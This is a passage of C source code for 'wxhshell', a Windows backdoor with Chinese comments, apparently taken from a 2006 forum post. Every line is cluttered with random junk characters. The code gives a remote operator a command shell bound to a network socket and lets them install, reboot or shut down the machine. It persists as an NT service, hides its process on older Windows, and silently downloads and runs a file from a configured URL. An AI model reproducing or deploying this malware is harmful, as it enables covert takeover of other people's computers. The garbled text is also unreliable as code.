  else Y_n/rD>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,?m@Ko7Y  
  } l,Q`;v5|  
  else { BDfMFH[1  
90+Vw`Gz=  
    switch(cmd[0]) { /'{vDxZf R  
  <fBJ@>  
  // 帮助 tBzE(vW  
  case '?': { [K #$W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XO?WxL9k]  
    break; L>/$l(  
  } zZ-/S~l  
  // 安装 aO1.9! <v  
  case 'i': { 8HLL3H0  
    if(Install()) T$MXsq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ph b ;D  
    else )OQm,5F1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oi|cTZ@A-  
    break; 5w>TCx  
    } 5KB Z-,  
  // 卸载 nWCJY:q;5  
  case 'r': { /z^v% l  
    if(Uninstall()) ).,twf58  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <k1muSe  
    else Yqh-U%"'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ES,JdImZ|  
    break; k"[AV2UW1  
    } !Usmm8!K  
  // 显示 wxhshell 所在路径 8?L-3/  
  case 'p': { CaCApL  
    char svExeFile[MAX_PATH]; `Qb!W45  
    strcpy(svExeFile,"\n\r"); )2EvZn  
      strcat(svExeFile,ExeFile); ;/Y#ph[  
        send(wsh,svExeFile,strlen(svExeFile),0); kygj" @EX  
    break; T@vE@D  
    } a m5;B`}q  
  // 重启 R7:u 8-dU1  
  case 'b': { ~,s'-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _0naqa!JyH  
    if(Boot(REBOOT)) aC9iNm8w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *cFGDQ !  
    else { fMf;  
    closesocket(wsh); s3ASA.*  
    ExitThread(0); 7C2Xy>d~  
    } .3+ 8Ip#z  
    break; o}waJN`yI  
    } 2@_3V_  
  // 关机 vbd ;Je"  
  case 'd': { \0}bOHqEH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u$nmnd`g  
    if(Boot(SHUTDOWN)) pT+OPOSR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4avkyFj!h  
    else { '9vsv\A&  
    closesocket(wsh); OFv-bb*YZ  
    ExitThread(0); ;X;x.pi   
    } Z1W%fT  
    break; VZamR}x  
    } dXn$XGF%R  
  // 获取shell -k>k<bDAI  
  case 's': { r.LOj6c  
    CmdShell(wsh); CPsl/.$tC  
    closesocket(wsh);  nmL|v  
    ExitThread(0); -*&aE~Cs  
    break; M4 ?>x[Pw  
  } nRq[il0 `i  
  // 退出 Xq"9TYf$  
  case 'x': { V=1yg24B<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y -BZV |  
    CloseIt(wsh); KvPLA{  
    break; H^B,b !5i  
    } xV`)?hEXFh  
  // 离开 hms Aim9i  
  case 'q': { mOjjw_3gq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `K$;K8!1  
    closesocket(wsh); OI/]Y7D[Oq  
    WSACleanup(); IO?a.L:6U  
    exit(1); ,{"K^  
    break; =<M>fJ)  
        } o}wRgG  
  } [D?xd/G  
  } %PR,TWe  
e7Gb7c~  
  // 提示信息 <#Fex'4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jtpk5 fJB  
} ept:<!4  
  } {9@E[bWp#  
DB jUHirK  
  return; Q[`2? j?  
} .Xxxz Wyk  
"AWk jdj  
// shell模块句柄 uuUj IZCtz  
int CmdShell(SOCKET sock) 7 oYD;li$k  
{ kd p*6ynD  
STARTUPINFO si; 9)b{U2&  
ZeroMemory(&si,sizeof(si)); ,pZz`B#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^^xzaF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oe9S$C;$'  
PROCESS_INFORMATION ProcessInfo; =AHV{V~  
char cmdline[]="cmd"; E}36  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |~Awm"  
  return 0; u91  
} Jx&+e,OST  
x41t=E](  
// 自身启动模式 "1P2`Ep;  
int StartFromService(void) _ -ec(w~/  
{ `Sj8IxO  
typedef struct Frhm4H%,_R  
{ k]TJL9Q  
  DWORD ExitStatus; tJGPkeA  
  DWORD PebBaseAddress; FFN.9[Ly  
  DWORD AffinityMask; LXe'{W+bk  
  DWORD BasePriority; zb9vUxN [  
  ULONG UniqueProcessId; k'[\r>T  
  ULONG InheritedFromUniqueProcessId; hB:+_[=Kj.  
}   PROCESS_BASIC_INFORMATION; K^I$05idi  
)gR3S%Ju  
PROCNTQSIP NtQueryInformationProcess; dt>!=<|k  
{5fq4A A6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y(R],9h8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `lO/I+8  
Y k"yup@3  
  HANDLE             hProcess; +@rc(eOwvN  
  PROCESS_BASIC_INFORMATION pbi; V/"41  
>\5ZgC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uMC0XE|S  
  if(NULL == hInst ) return 0; z8};(I>)  
i)ibDrX!I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J2`OJsMwWe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O_SM!!,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6& 9q6IIy  
?N%5c%oF  
  if (!NtQueryInformationProcess) return 0; mvtuV`  
} 4>#s$.2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Z\$!:  
  if(!hProcess) return 0; 4T<dI6I0  
~1{~iB2G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  ~#z b  
0`WZ  
  CloseHandle(hProcess); Y7yzM1?t  
@qsOWx`l$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  hP 1;$  
if(hProcess==NULL) return 0; C4C!-12  
pq5bK0N Q  
HMODULE hMod; JDMsco+j5  
char procName[255]; Od]wh  
unsigned long cbNeeded; c$3ZEe  
6Qm .k$[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dnX^?  
ui^v.YCMI  
  CloseHandle(hProcess); *\wf(o>Q  
K;f=l5  
if(strstr(procName,"services")) return 1; // 以服务启动 A`b )7+mB  
|1 LKdP  
  return 0; // 注册表启动 L\kT9wWK|  
} w?p8)Q6m  
R2[ }  
// 主模块 CwfGp[|}e  
int StartWxhshell(LPSTR lpCmdLine) ![_GA)7  
{ jM(!!A jpC  
  SOCKET wsl; inx0W3d"T  
BOOL val=TRUE; ~_SVQ7P  
  int port=0; 4b$m\hoN  
  struct sockaddr_in door; M$LzV}k  
QjUojHz%Z  
  if(wscfg.ws_autoins) Install(); ;W#/;C _h  
'#8;bU  
port=atoi(lpCmdLine); 7)3cq}]O  
k Nw3Qr  
if(port<=0) port=wscfg.ws_port; }4I;<%L3`  
n!XSB7d~X  
  WSADATA data; d e~3:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  *FoPs  
QnDLSMx)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fm,:8%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V=H}Ecd  
  door.sin_family = AF_INET; `_+m3vHG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QmB,~x{j>  
  door.sin_port = htons(port); ]G2%VKkr  
C}mWX7<Z.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %^8>=  
closesocket(wsl); ~;Xkt G:  
return 1; I*i$!$Bx2  
} bk-aj'>+  
u&Dd9kMz  
  if(listen(wsl,2) == INVALID_SOCKET) { iJK rNRj  
closesocket(wsl); 4K*DEVS  
return 1; ]z/  
} 'Xzi$}E D  
  Wxhshell(wsl); ^-7{{/  
  WSACleanup(); S1n 'r}z8  
/ k8;k56  
return 0; Y3wL EG%,:  
(wsvj61  
} mkmVDRK  
Kx[z7]1@  
// 以NT服务方式启动 -[`FNTTV C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Aonq;} V e  
{ Th//uI+  
DWORD   status = 0; }tZA7),L  
  DWORD   specificError = 0xfffffff; >pl*2M&  
oE4hGt5x{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7dU7cc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0=J69Yd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U_,K_6vj  
  serviceStatus.dwWin32ExitCode     = 0; &U/~*{  
  serviceStatus.dwServiceSpecificExitCode = 0; QCWk[Gx  
  serviceStatus.dwCheckPoint       = 0; cM'5m  
  serviceStatus.dwWaitHint       = 0; IsCJdgG  
EMejvPnZO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &gR)bNIC_=  
  if (hServiceStatusHandle==0) return; H}c, P('  
}"?K Hy  
status = GetLastError(); >(HUW^T/9z  
  if (status!=NO_ERROR) 9wFQ<r  
{ KGX?\#-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U!x\oLP  
    serviceStatus.dwCheckPoint       = 0; QcQ|,lA.HI  
    serviceStatus.dwWaitHint       = 0; .el_pg  
    serviceStatus.dwWin32ExitCode     = status; Rx=pk  
    serviceStatus.dwServiceSpecificExitCode = specificError; FR@ dBcJUU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7u^6`P  
    return; Gu_Rf&:  
  } 0IM#T=V  
!kfnqe?|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [}_ar  
  serviceStatus.dwCheckPoint       = 0; 7e"(]NC84  
  serviceStatus.dwWaitHint       = 0; d|sI>6jD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .tb~f@xL  
} ARu^hz=  
5+O#5" v_  
// 处理NT服务事件,比如:启动、停止 4[&6yHJ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) " ,rA  
{ u$[T8UqF  
switch(fdwControl) ~1h-LbFI2  
{ =kLg)a |  
case SERVICE_CONTROL_STOP: Swua dN  
  serviceStatus.dwWin32ExitCode = 0; ;"nEEe]?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HnqZ7%jeN  
  serviceStatus.dwCheckPoint   = 0; /(nA)V( :  
  serviceStatus.dwWaitHint     = 0;  U\~[  
  {  OkO"t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fwQ%mU+  
  } )V}u1C-N  
  return; #UJ@P Dwil  
case SERVICE_CONTROL_PAUSE: Ve8`5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [P{Xg:0  
  break; 4"j5@bppJ  
case SERVICE_CONTROL_CONTINUE: }H ,A T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ()>\D  
  break; EX&y !  
case SERVICE_CONTROL_INTERROGATE: 8YN+ \  
  break; cY>;(x@  
}; Ec6{?\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %3VwCuE  
} ?t} [Wi}7  
]yVB66l  
// 标准应用程序主函数 XW Y0WDh:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^J~}KOH  
{ 7F'61}qL  
1^Zx-p3J  
// 获取操作系统版本 <$njU=YE&  
OsIsNt=GetOsVer(); ^?xXP=/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;|/7o@$ n  
3G8uXB_`}  
  // 从命令行安装 ._tv$Gd@k  
  if(strpbrk(lpCmdLine,"iI")) Install(); %NS]z;G  
+TAm9eDNV  
  // 下载执行文件 ?j0blXl  
if(wscfg.ws_downexe) {  (lPNMS|V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9 au)K!hN  
  WinExec(wscfg.ws_filenam,SW_HIDE); s_Dl8O4u  
} p-; ]O~^  
`?6m0|\@  
if(!OsIsNt) { L6A6|+H%E  
// 如果时win9x,隐藏进程并且设置为注册表启动 sq)Nn&5A  
HideProc(); sX_^H%fd  
StartWxhshell(lpCmdLine); !P92e1  
} Cm ;N5i  
else 6y5arP*6e  
  if(StartFromService()) {2:H`|x  
  // 以服务方式启动 %r!#  
  StartServiceCtrlDispatcher(DispatchTable); H[Pb Wy:  
else puqH%m+u  
  // 普通方式启动 >LU*F|F]B  
  StartWxhshell(lpCmdLine); [bOy, ^@4  
>PGm}s_  
return 0; dF.T6b  
}
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只看该作者 1 发表于: 2006-10-10
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